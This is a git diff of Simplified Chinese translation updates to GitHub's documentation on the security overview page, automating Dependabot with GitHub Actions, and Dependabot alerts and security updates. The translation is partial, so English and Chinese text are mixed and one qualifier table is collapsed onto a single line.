--- a/translations/zh-CN/content/code-security/security-overview/about-the-security-overview.md
+++ b/translations/zh-CN/content/code-security/security-overview/about-the-security-overview.md
@@ -1,5 +1,5 @@
 ---
-title: About the security overview
+title: 关于安全概述
 intro: 'You can view, filter, and sort security alerts for repositories owned by your organization or team in one place: the Security Overview page.'
 product: '{% data reusables.gated-features.security-center %}'
 redirect_from:
@@ -21,47 +21,46 @@ shortTitle: About security overview
 
 {% data reusables.security-center.beta %}
 
-## About the security overview
+## 关于安全概述
 
-You can use the security overview for a high-level view of the security status of your organization or to identify problematic repositories that require intervention. At the organization-level, the security overview displays aggregate and repository-specific security information for repositories owned by your organization. At the team-level, the security overview displays repository-specific security information for repositories that the team has admin privileges for. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)."
+您可以使用安全概述来简要了解组织的安全状态，或识别需要干预的问题仓库。 在组织级别，安全概述显示组织拥有的仓库的聚合和仓库特定安全信息。 在团队级别，安全概述显示团队拥有管理权限的仓库特定安全信息。 更多信息请参阅“[管理团队的组织仓库访问权限](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)”。
 
 The security overview indicates whether {% ifversion fpt or ghes > 3.1 or ghec %}security{% endif %}{% ifversion ghae %}{% data variables.product.prodname_GH_advanced_security %}{% endif %} features are enabled for repositories owned by your organization and consolidates alerts for each feature.{% ifversion fpt or ghes > 3.1 or ghec %} Security features include {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, as well as {% data variables.product.prodname_dependabot_alerts %}.{% endif %} For more information about {% data variables.product.prodname_GH_advanced_security %} features, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."{% ifversion fpt or ghes > 3.1 or ghec %} For more information about {% data variables.product.prodname_dependabot_alerts %}, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)."{% endif %}
 
 For more information about securing your code at the repository and organization levels, see "[Securing your repository](/code-security/getting-started/securing-your-repository)" and "[Securing your organization](/code-security/getting-started/securing-your-organization)."
 
-In the security overview, you can view, sort, and filter alerts to understand the security risks in your organization and in specific repositories. You can apply multiple filters to focus on areas of interest. For example, you can identify private repositories that have a high number of {% data variables.product.prodname_dependabot_alerts %} or repositories that have no {% data variables.product.prodname_code_scanning %} alerts.
+在安全概述中，您可以查看、排序和筛选警报，以了解组织和特定仓库中的安全风险。 您可以应用多个筛选器来关注感兴趣的领域。 例如，您可以识别具有大量 {% data variables.product.prodname_dependabot_alerts %} 的私有仓库或者没有 {% data variables.product.prodname_code_scanning %} 警报的仓库。
 
-![The security overview for an organization](/assets/images/help/organizations/security-overview.png)
+![组织的安全概述](/assets/images/help/organizations/security-overview.png)
 
 For each repository in the security overview, you will see icons for each type of security feature and how many alerts there are of each type. If a security feature is not enabled for a repository, the icon for that feature will be grayed out.
 
-![Icons in the security overview](/assets/images/help/organizations/security-overview-icons.png)
+![安全概述中的图标](/assets/images/help/organizations/security-overview-icons.png)
 
-| Icon | Meaning |
-| -------- | -------- |
-| {% octicon "code-square" aria-label="Code scanning alerts" %} | {% data variables.product.prodname_code_scanning_capc %} alerts. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)." |
-| {% octicon "key" aria-label="Secret scanning alerts" %} | {% data variables.product.prodname_secret_scanning_caps %} alerts. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)." |
-| {% octicon "hubot" aria-label="Dependabot alerts" %} | {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." |
-| {% octicon "check" aria-label="Check" %} | The security feature is enabled, but does not raise alerts in this repository. |
-| {% octicon "x" aria-label="x" %} | The security feature is not supported in this repository. |
+| 图标                                                            | 含义                                                                                                                                                                                            |
+| ------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| {% octicon "code-square" aria-label="Code scanning alerts" %} | {% data variables.product.prodname_code_scanning_capc %} 警报. 更多信息请参阅“[关于 {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)”。         |
+| {% octicon "key" aria-label="Secret scanning alerts" %}       | {% data variables.product.prodname_secret_scanning_caps %} 警报. 更多信息请参阅“[关于 {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)”。 |
+| {% octicon "hubot" aria-label="Dependabot alerts" %}          | {% data variables.product.prodname_dependabot_alerts %} 的通知。 更多信息请参阅“[关于易受攻击的依赖项的警报](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)”。                       |
+| {% octicon "check" aria-label="Check" %}                      | The security feature is enabled, but does not raise alerts in this repository.                                                                                                                |
+| {% octicon "x" aria-label="x" %}                              | The security feature is not supported in this repository.                                                                                                                                     |
 
-By default, archived repositories are excluded from the security overview for an organization. You can apply filters to view archived repositories in the security overview. For more information, see "[Filtering the list of alerts](#filtering-the-list-of-alerts)."
+默认情况下，存档的仓库被排除在组织的安全概览之外。 您可以应用筛选来查看安全概述中存档的仓库。 更多信息请参阅“[筛选警报列表](#filtering-the-list-of-alerts)”。
 
-The security overview displays active alerts raised by security features. If there are no alerts in the security overview for a repository, undetected security vulnerabilities or code errors may still exist.
+The security overview displays active alerts raised by security features. 如果仓库的安全概述中没有警报，则可能仍然存在未检测到的安全漏洞或代码错误。
 
-## Viewing the security overview for an organization
+## 查看组织的安全概述
 
-Organization owners can view the security overview for an organization.
+组织所有者可以查看组织的安全概述。
 
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.security-overview %}
-1. To view aggregate information about alert types, click **Show more**.
-  ![Show more button](/assets/images/help/organizations/security-overview-show-more-button.png)
+1. 要查看有关警报类型的汇总信息，请单击 **Show more（显示更多）**。 ![显示更多按钮](/assets/images/help/organizations/security-overview-show-more-button.png)
 {% data reusables.organizations.filter-security-overview %}
 
-## Viewing the security overview for a team
+## 查看团队的安全概述
 
-Members of a team can see the security overview for repositories that the team has admin privileges for.
+团队成员可以看到团队具有管理权限的仓库的安全概述。
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
@@ -69,70 +68,69 @@ Members of a team can see the security overview for repositories that the team h
 {% data reusables.organizations.team-security-overview %}
 {% data reusables.organizations.filter-security-overview %}
 
-## Filtering the list of alerts
+## 过滤警报列表
 
-### Filter by level of risk for repositories
+### 按仓库的风险级别筛选
 
 The level of risk for a repository is determined by the number and severity of alerts from security features. If one or more security features are not enabled for a repository, the repository will have an unknown level of risk. If a repository has no risks that are detected by security features, the repository will have a clear level of risk.
 
-| Qualifier | Description |
-| -------- | -------- |
-| `risk:high` | Display repositories that are at high risk. |
-| `risk:medium` | Display repositories that are at medium risk. |
-| `risk:low` | Display repositories that are at low risk. |
-| `risk:unknown` | Display repositories that are at an unknown level of risk. |
-| `risk:clear` | Display repositories that have no detected level of risk. |
+| 限定符            | 描述               |
+| -------------- | ---------------- |
+| `risk:high`    | 显示高风险仓库。         |
+| `risk:medium`  | 显示中风险仓库。         |
+| `risk:low`     | 显示低风险仓库。         |
+| `risk:unknown` | 显示风险级别未知的仓库。     |
+| `risk:clear`   | 显示没有检测到的风险级别的仓库。 |
 
-### Filter by number of alerts
+### 按警报数量筛选
 
-| Qualifier | Description |
-| -------- | -------- |
-| <code>code-scanning-alerts:<em>n</em></code> | Display repositories that have *n* {% data variables.product.prodname_code_scanning %} alerts. This qualifier can use &gt and &lt comparison operators. |
-| <code>secret-scanning-alerts:<em>n</em></code> | Display repositories that have *n* {% data variables.product.prodname_secret_scanning %} alerts. This qualifier can use &gt and &lt comparison operators. |
-| <code>dependabot-alerts:<em>n</em></code> | Display repositories that have *n* {% data variables.product.prodname_dependabot_alerts %}. This qualifier can use &gt and &lt comparison operators. |
+| 限定符                       | 描述                                                                                                  |
+| ------------------------- | --------------------------------------------------------------------------------------------------- |
+| <code>code-scanning-alerts:<em>n</em></code> | 显示具有 *n* {% data variables.product.prodname_code_scanning %} 警报的仓库。 此限定符可以使用 &gt 和 &lt 比较运算符。     |
+| <code>secret-scanning-alerts:<em>n</em></code> | 显示具有 *n* {% data variables.product.prodname_secret_scanning %} 警报的仓库。 此限定符可以使用 &gt 和 &lt 比较运算符。   |
+| <code>dependabot-alerts:<em>n</em></code> | 显示具有 *n* {% data variables.product.prodname_dependabot_alerts %} 警报的仓库。 此限定符可以使用 &gt 和 &lt 比较运算符。 |
 
 ### Filter by whether security features are enabled
 
-| Qualifier | Description |
-| -------- | -------- |
-| `enabled:code-scanning` | Display repositories that have {% data variables.product.prodname_code_scanning %} enabled. |
-| `not-enabled:code-scanning` | Display repositories that do not have {% data variables.product.prodname_code_scanning %} enabled. |
-| `enabled:secret-scanning` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. |
-| `not-enabled:secret-scanning` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. |
-| `enabled:dependabot-alerts` | Display repositories that have {% data variables.product.prodname_dependabot_alerts %} enabled. |
-| `not-enabled:dependabot-alerts` | Display repositories that do not have {% data variables.product.prodname_dependabot_alerts %} enabled. |
+| 限定符                             | 描述                                                                     |
+| ------------------------------- | ---------------------------------------------------------------------- |
+| `enabled:code-scanning`         | 显示启用了 {% data variables.product.prodname_code_scanning %} 警报的仓库。     |
+| `not-enabled:code-scanning`     | 显示未启用 {% data variables.product.prodname_code_scanning %} 警报的仓库。     |
+| `enabled:secret-scanning`       | 显示启用了 {% data variables.product.prodname_secret_scanning %} 警报的仓库。   |
+| `not-enabled:secret-scanning`   | 显示启用了 {% data variables.product.prodname_secret_scanning %} 警报的仓库。   |
+| `enabled:dependabot-alerts`     | 显示启用了 {% data variables.product.prodname_dependabot_alerts %} 警报的仓库。 |
+| `not-enabled:dependabot-alerts` | 显示未启用 {% data variables.product.prodname_dependabot_alerts %} 警报的仓库。 |
 
-### Filter by repository type
+### 按仓库类型筛选
 
-| Qualifier | Description |
-| -------- | -------- |
+| 限定符 | 描述 |
+| --- | -- |
+|     |    |
 {%- ifversion fpt or ghes > 3.1 or ghec %}
 | `is:public` | Display public repositories. |
 {% elsif ghes or ghec or ghae %}
 | `is:internal` | Display internal repositories. |
 {%- endif %}
-| `is:private` | Display private repositories. |
-| `archived:true` | Display archived repositories. |
-| `archived:true` | Display archived repositories. |
+| `is:private` | Display private repositories. | | `archived:true` | Display archived repositories. | | `archived:true` | Display archived repositories. |
 
-### Filter by team
+### 按团队筛选
 
-| Qualifier | Description |
-| -------- | -------- |
-| <code>team:<em>TEAM-NAME</em></code> | Displays repositories that *TEAM-NAME* has admin privileges for. |
+| 限定符                       | 描述                         |
+| ------------------------- | -------------------------- |
+| <code>team:<em>TEAM-NAME</em></code> | 显示 *TEAM-NAME* 具有管理员权限的仓库。 |
 
-### Filter by topic
+### 按主题筛选
 
-| Qualifier | Description |
-| -------- | -------- |
-| <code>topic:<em>TOPIC-NAME</em></code> | Displays repositories that are classified with *TOPIC-NAME*. |
+| 限定符                       | 描述                      |
+| ------------------------- | ----------------------- |
+| <code>topic:<em>TOPIC-NAME</em></code> | 显示分类为 *TOPIC-NAME* 的仓库。 |
 
-### Sort the list of alerts
+### 对警报列表进行排序
 
-| Qualifier | Description |
-| -------- | -------- |
-| `sort:risk` | Sorts the repositories in your security overview by risk. |
-| `sort:repos` | Sorts the repositories in your security overview alphabetically by name. |
-| `sort:code-scanning-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_code_scanning %} alerts. |
-| `sort:secret-scanning-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_secret_scanning %} alerts. |
-| `sort:dependabot-alerts` | Sorts the repositories in your security overview by number of {% data variables.product.prodname_dependabot_alerts %}. |
+| 限定符                           | 描述                                                                          |
+| ----------------------------- | --------------------------------------------------------------------------- |
+| `sort:risk`                   | 根据风险对安全概述中的仓库进行排序。                                                          |
+| `sort:repos`                  | 按名称的字母顺序对安全概述中的仓库排序。                                                        |
+| `sort:code-scanning-alerts`   | 按 {% data variables.product.prodname_code_scanning %} 警报的数量对安全概述中的仓库排序。   |
+| `sort:secret-scanning-alerts` | 按 {% data variables.product.prodname_secret_scanning %} 警报的数量对安全概述中的仓库排序。 |
+| `sort:dependabot-alerts`      | 将 {% data variables.product.prodname_dependabot_alerts %} 数量对安全概述中的仓库排序。  |
diff --git a/translations/zh-CN/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md b/translations/zh-CN/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md
index 9d3a2c3ed5..e79d34bfac 100644
--- a/translations/zh-CN/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md
+++ b/translations/zh-CN/content/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions.md
@@ -1,6 +1,6 @@
 ---
-title: Automating Dependabot with GitHub Actions
-intro: 'Examples of how you can use {% data variables.product.prodname_actions %} to automate common {% data variables.product.prodname_dependabot %} related tasks.'
+title: 通过 GitHub Actions 自动化 Dependabot
+intro: '如何使用 {% data variables.product.prodname_actions %} 来自动执行常见 {% data variables.product.prodname_dependabot %} 相关任务的示例。'
 permissions: 'People with write permissions to a repository can configure {% data variables.product.prodname_actions %} to respond to {% data variables.product.prodname_dependabot %}-created pull requests.'
 miniTocMaxHeadingLevel: 3
 versions:
@@ -22,20 +22,20 @@ shortTitle: Use Dependabot with actions
 {% data reusables.dependabot.beta-security-and-version-updates %}
 {% data reusables.dependabot.enterprise-enable-dependabot %}
 
-## About {% data variables.product.prodname_dependabot %} and {% data variables.product.prodname_actions %}
+## 关于 {% data variables.product.prodname_dependabot %} 与 {% data variables.product.prodname_actions %}
 
-{% data variables.product.prodname_dependabot %} creates pull requests to keep your dependencies up to date, and you can use {% data variables.product.prodname_actions %} to perform automated tasks when these pull requests are created. For example, fetch additional artifacts, add labels, run tests, or otherwise modifying the pull request.
+{% data variables.product.prodname_dependabot %} 创建拉动请求以保持依赖项的最新状态，并且当创建这些拉取请求时，您可以使用 {% data variables.product.prodname_actions %} 执行自动任务。 例如，获取其他构件、添加标签、运行测试或修改拉取请求。
 
-## Responding to events
+## 响应事件
 
 {% data variables.product.prodname_dependabot %} is able to trigger {% data variables.product.prodname_actions %} workflows on its pull requests and comments; however, certain events are treated differently.
 
-For workflows initiated by {% data variables.product.prodname_dependabot %} (`github.actor == "dependabot[bot]"`) using the `pull_request`, `pull_request_review`, `pull_request_review_comment`, and `push` events, the following restrictions apply:
+对于 {% data variables.product.prodname_dependabot %} (`github.actor == "dependabot[bot]"`) 使用 `pull_request`、`pull_request_review`、`pull_request_review_comment` 和 `push` 事件发起的工作流程，适用以下限制：
 
 - {% ifversion ghes = 3.3 %}`GITHUB_TOKEN` has read-only permissions, unless your administrator has removed restrictions.{% else %}`GITHUB_TOKEN` has read-only permissions by default.{% endif %}
 - {% ifversion ghes = 3.3 %}Secrets are inaccessible, unless your administrator has removed restrictions.{% else %}Secrets are populated from {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available.{% endif %}
 
-For more information, see ["Keeping your GitHub Actions and workflows secure: Preventing pwn requests"](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+更多信息请参阅“[保持 GitHub Actions 和工作流程安全：阻止 pwn 请求](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)”。
 
 {% ifversion fpt or ghec or ghes > 3.3 %}
 
@@ -62,13 +62,13 @@ jobs:
 
 {% endraw %}
 
-For more information, see "[Modifying the permissions for the GITHUB_TOKEN](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token)."
+更多信息请参阅“[修改 GITHUB_TOKEN 的权限](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token)”。
 
-### Accessing secrets
+### 访问密钥
 
-When a {% data variables.product.prodname_dependabot %} event triggers a workflow, the only secrets available to the workflow are {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available. Consequently, you must store any secrets that are used by a workflow triggered by {% data variables.product.prodname_dependabot %} events as {% data variables.product.prodname_dependabot %} secrets. For more information, see "[Managing encrypted secrets for Dependabot](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)".
+When a {% data variables.product.prodname_dependabot %} event triggers a workflow, the only secrets available to the workflow are {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available. Consequently, you must store any secrets that are used by a workflow triggered by {% data variables.product.prodname_dependabot %} events as {% data variables.product.prodname_dependabot %} secrets. 更多信息请参阅“[管理 Dependabot 的加密密码](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-encrypted-secrets-for-dependabot)”。
 
-{% data variables.product.prodname_dependabot %} secrets are added to the `secrets` context and referenced using exactly the same syntax as secrets for {% data variables.product.prodname_actions %}. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets#using-encrypted-secrets-in-a-workflow)."
+{% data variables.product.prodname_dependabot %} secrets are added to the `secrets` context and referenced using exactly the same syntax as secrets for {% data variables.product.prodname_actions %}. 更多信息请参阅“[加密密码](/actions/security-guides/encrypted-secrets#using-encrypted-secrets-in-a-workflow)”。
 
 If you have a workflow that will be triggered by {% data variables.product.prodname_dependabot %} and also by other actors, the simplest solution is to store the token with the permissions required in an action and in a {% data variables.product.prodname_dependabot %} secret with identical names. Then the workflow can include a single call to these secrets. If the secret for {% data variables.product.prodname_dependabot %} has a different name, use conditions to specify the correct secrets for different actors to use. For examples that use conditions, see "[Common automations](#common-dependabot-automations)" below.
 
@@ -114,11 +114,11 @@ If the restrictions are removed, when a workflow is triggered by {% data variabl
 
 {% endnote %}
 
-### Handling `pull_request` events
+### 处理 `pull_request` 事件
 
-If your workflow needs access to secrets or a `GITHUB_TOKEN` with write permissions, you have two options: using `pull_request_target`, or using two separate workflows. We will detail using `pull_request_target` in this section, and using two workflows below in "[Handling `push` events](#handling-push-events)."
+如果您的工作流程需要访问具有写入权限的密码或 `GITHUB_TOKEN`，则有两个选项：使用 `pull_request_target` 或使用两个单独的工作流程。 我们将在本节中详述使用 `pull_request_target`，以及在 [处理 `push` 事件](#handling-push-events)“中使用下面两个工作流程。
 
-Below is a simple example of a `pull_request` workflow that might now be failing:
+下面是现在可能失败的 `pull_request` 工作流程的简单示例：
 
 {% raw %}
 
@@ -139,11 +139,11 @@ jobs:
 
 {% endraw %}
 
-You can replace `pull_request` with `pull_request_target`, which is used for pull requests from forks, and explicitly check out the pull request `HEAD`.
+您可以将 `pull_request` 替换为 `pull_request_target`，这用于复刻中的拉取请求，并明确检出拉取请求 `HEAD`。
 
 {% warning %}
 
-**Warning:** Using `pull_request_target` as a substitute for `pull_request` exposes you to insecure behavior. We recommend you use the two workflow method, as described below in "[Handling `push` events](#handling-push-events)."
+**警告：**使用 `pull_request_target` 替代 `pull_request` 会使您暴露在不安全的行为中。 我们建议您使用两种工作流程方法，如下面的“[处理 `push` 事件](#handling-push-events)”中所述。
 
 {% endwarning %}
 
@@ -172,13 +172,13 @@ jobs:
 
 {% endraw %}
 
-It is also strongly recommended that you downscope the permissions granted to the `GITHUB_TOKEN` in order to avoid leaking a token with more privilege than necessary. For more information, see "[Permissions for the `GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)."
+还强烈建议您缩小授予 `GITHUB_TOKEN` 的权限范围，以避免泄露具有不必要特权的令牌。 更多信息请参阅“[`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token) 的权限”。
 
-### Handling `push` events
+### 处理 `push` 事件
 
-As there is no `pull_request_target` equivalent for `push` events, you will have to use two workflows: one untrusted workflow that ends by uploading artifacts, which triggers a second trusted workflow that downloads artifacts and continues processing.
+因为没有等效于 `push` 事件的 `pull_request_target_` ，因此您必须使用两个工作流程：一个通过上传构件而结束不可信工作流程， 触发第二个下载构件并继续处理的可信任工作流程。
 
-The first workflow performs any untrusted work:
+第一个工作流程执行任何不信任的工作：
 
 {% raw %}
 
@@ -198,7 +198,7 @@ jobs:
 
 {% endraw %}
 
-The second workflow performs trusted work after the first workflow completes successfully:
+第二个工作流程在第一个工作流程成功完成后执行受信任的工作：
 
 {% raw %}
 
@@ -226,13 +226,13 @@ jobs:
 
 {% endif %}
 
-### Manually re-running a workflow
+### 手动重新运行工作流程
 
-You can also manually re-run a failed Dependabot workflow, and it will run with a read-write token and access to secrets. Before manually re-running a failed workflow, you should always check the dependency being updated to ensure that the change doesn't introduce any malicious or unintended behavior.
+您还可以手动重新运行失败的 Dependabot 工作流程，它将以读写令牌运行并访问密码。 在手动重新运行失败的工作流程之前，您应始终检查更新的依赖项，以确保更改不会引入任何恶意或意外行为。
 
-## Common Dependabot automations
+## 常用 Dependabot 自动化
 
-Here are several common scenarios that can be automated using {% data variables.product.prodname_actions %}.
+以下是可以使用 {% data variables.product.prodname_actions %} 自动化的几个常见场景。
 
 {% ifversion ghes = 3.3 %}
 
@@ -244,11 +244,11 @@ Here are several common scenarios that can be automated using {% data variables.
 
 {% endif %}
 
-### Fetch metadata about a pull request
+### 获取有关拉取请求的元数据
 
-A large amount of automation requires knowing information about the contents of the pull request: what the dependency name was, if it's a production dependency, and if it's a major, minor, or patch update.
+大量自动化需要了解拉取请求内容的信息：依赖项名称是什么，是否为生产依赖项，以及是否为主要、次要或补丁更新。
 
-The `dependabot/fetch-metadata` action provides all that information for you:
+`dependabot/fetch-metadata` 操作为您提供所有这些信息：
 
 {% ifversion ghes = 3.3 %}
 
@@ -314,13 +314,13 @@ jobs:
 
 {% endif %}
 
-For more information, see the [`dependabot/fetch-metadata`](https://github.com/dependabot/fetch-metadata) repository.
+更多信息请参阅 [`dependabot/fetch-metadata`](https://github.com/dependabot/fetch-metadata) 仓库。
 
-### Label a pull request
+### 标记拉取请求
 
-If you have other automation or triage workflows based on {% data variables.product.prodname_dotcom %} labels, you can configure an action to assign labels based on the metadata provided.
+如果您有基于 {% data variables.product.prodname_dotcom %} 标签的其他自动化或分类工作流程，则可以配置操作以根据提供的元数据分配标签。
 
-For example, if you want to flag all production dependency updates with a label:
+例如，如果您想用标签标记所有生产依赖项更新：
 
 {% ifversion ghes = 3.3 %}
 
@@ -388,9 +388,9 @@ jobs:
 
 {% endif %}
 
-### Approve a pull request
+### 批准拉取请求
 
-If you want to automatically approve Dependabot pull requests, you can use the {% data variables.product.prodname_cli %} in a workflow:
+如果您想要自动批准 Dependabot 拉取请求，您可以在工作流程中使用 {% data variables.product.prodname_cli %}：
 
 {% ifversion ghes = 3.3 %}
 
@@ -454,11 +454,11 @@ jobs:
 
 {% endif %}
 
-### Enable auto-merge on a pull request
+### 在拉取请求上启用自动合并
 
-If you want to auto-merge your pull requests, you can use {% data variables.product.prodname_dotcom %}'s auto-merge functionality. This enables the pull request to be merged when all required tests and approvals are successfully met. For more information on auto-merge, see "[Automatically merging a pull request"](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)."
+如果您要自动合并拉取请求，可以使用 {% data variables.product.prodname_dotcom %} 的自动合并功能。 这样，当所有所需的测试和批准都成功满足时，拉取请求即可合并。 For more information on auto-merge, see "[Automatically merging a pull request"](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)."
 
-Here is an example of enabling auto-merge for all patch updates to `my-dependency`:
+这是为所有补丁更新启用自动合并到 `my-dependency` 的示例：
 
 {% ifversion ghes = 3.3 %}
 
@@ -526,24 +526,24 @@ jobs:
 
 {% endif %}
 
-## Troubleshooting failed workflow runs
+## 失败的工作流程运行故障排除
 
-If your workflow run fails, check the following:
+如果您的工作流程运行失败，请检查以下情况：
 
 {% ifversion ghes = 3.3 %}
 
-- You are running the workflow only when the correct actor triggers it.
-- You are checking out the correct `ref` for your `pull_request`.
-- You aren't trying to access secrets from within a Dependabot-triggered `pull_request`, `pull_request_review`, `pull_request_review_comment`, or `push` event.
-- You aren't trying to perform any `write` actions from within a Dependabot-triggered `pull_request`, `pull_request_review`, `pull_request_review_comment`, or `push` event.
+- 只有当正确的角色触发工作流程时，才运行工作流程。
+- 您在为 `pull_request` 检出正确的 `ref`。
+- 您没有尝试从 Dependabot 触发的 `pull_request`、`pull_request_review`、`pull_request_review_comment` 或 `push` 事件访问密码。
+- 您没有尝试从 Dependabot 触发的 `pull_request`、`pull_request_review`、`pull_request_review_comment` 或 `push` 事件执行任何 `write` 操作。
 
 {% else %}
 
-- You are running the workflow only when the correct actor triggers it.
-- You are checking out the correct `ref` for your `pull_request`.
+- 只有当正确的角色触发工作流程时，才运行工作流程。
+- 您在为 `pull_request` 检出正确的 `ref`。
 - Your secrets are available in {% data variables.product.prodname_dependabot %} secrets rather than as {% data variables.product.prodname_actions %} secrets.
 - You have a `GITHUB_TOKEN` with the correct permissions.
 
 {% endif %}
 
-For information on writing and debugging {% data variables.product.prodname_actions %}, see "[Learning GitHub Actions](/actions/learn-github-actions)."
+有关编写和调试 {% data variables.product.prodname_actions %} 的信息，请参阅“[了解 GitHub Actions](/actions/learn-github-actions)”。
diff --git a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md
index 1312ef64f1..367a0af3e7 100644
--- a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md
+++ b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies.md
@@ -32,7 +32,7 @@ When your code depends on a package that has a security vulnerability, this vuln
 
 {% data reusables.dependabot.dependabot-alerts-beta %}
 
-{% data variables.product.prodname_dependabot %} detects vulnerable dependencies and sends {% data variables.product.prodname_dependabot_alerts %} when:
+{% data variables.product.prodname_dependabot %} performs a scan to detect vulnerable dependencies and sends {% data variables.product.prodname_dependabot_alerts %} when:
 
 {% ifversion fpt or ghec %}
 - A new vulnerability is added to the {% data variables.product.prodname_advisory_database %}. For more information, see "[Browsing security vulnerabilities in the {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/browsing-security-vulnerabilities-in-the-github-advisory-database)" and "[About {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)."{% else %}
diff --git a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md
index b283a4b5e0..91f7fa444b 100644
--- a/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md
+++ b/translations/zh-CN/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates.md
@@ -1,7 +1,7 @@
 ---
-title: About Dependabot security updates
-intro: '{% data variables.product.prodname_dependabot %} can fix vulnerable dependencies for you by raising pull requests with security updates.'
-shortTitle: Dependabot security updates
+title: 关于 Dependabot 安全更新
+intro: '{% data variables.product.prodname_dependabot %} 可通过提出安全更新拉取请求为您修复有漏洞依赖项。'
+shortTitle: Dependabot 安全更新
 redirect_from:
   - /github/managing-security-vulnerabilities/about-github-dependabot-security-updates
   - /github/managing-security-vulnerabilities/about-dependabot-security-updates
@@ -25,42 +25,42 @@ topics:
 {% data reusables.dependabot.beta-security-and-version-updates %}
 {% data reusables.dependabot.enterprise-enable-dependabot %}
 
-## About {% data variables.product.prodname_dependabot_security_updates %}
+## 关于 {% data variables.product.prodname_dependabot_security_updates %}
 
-{% data variables.product.prodname_dependabot_security_updates %} make it easier for you to fix vulnerable dependencies in your repository. If you enable this feature, when a {% data variables.product.prodname_dependabot %} alert is raised for a vulnerable dependency in the dependency graph of your repository, {% data variables.product.prodname_dependabot %} automatically tries to fix it. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" and "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)."
+{% data variables.product.prodname_dependabot_security_updates %} 使您更容易修复仓库中的有漏洞依赖项。 如果启用此功能，当 {% data variables.product.prodname_dependabot %} 针对仓库依赖关系图中的有漏洞依赖项发出警报时，{% data variables.product.prodname_dependabot %} 将自动尝试修复它。 更多信息请参阅“[关于漏洞依赖项的警报](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)”和“[配置 {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)”。
 
 {% data variables.product.prodname_dotcom %} may send  {% data variables.product.prodname_dependabot_alerts %} to repositories affected by a vulnerability disclosed by a recently published {% data variables.product.prodname_dotcom %} security advisory. {% data reusables.security-advisory.link-browsing-advisory-db %}
 
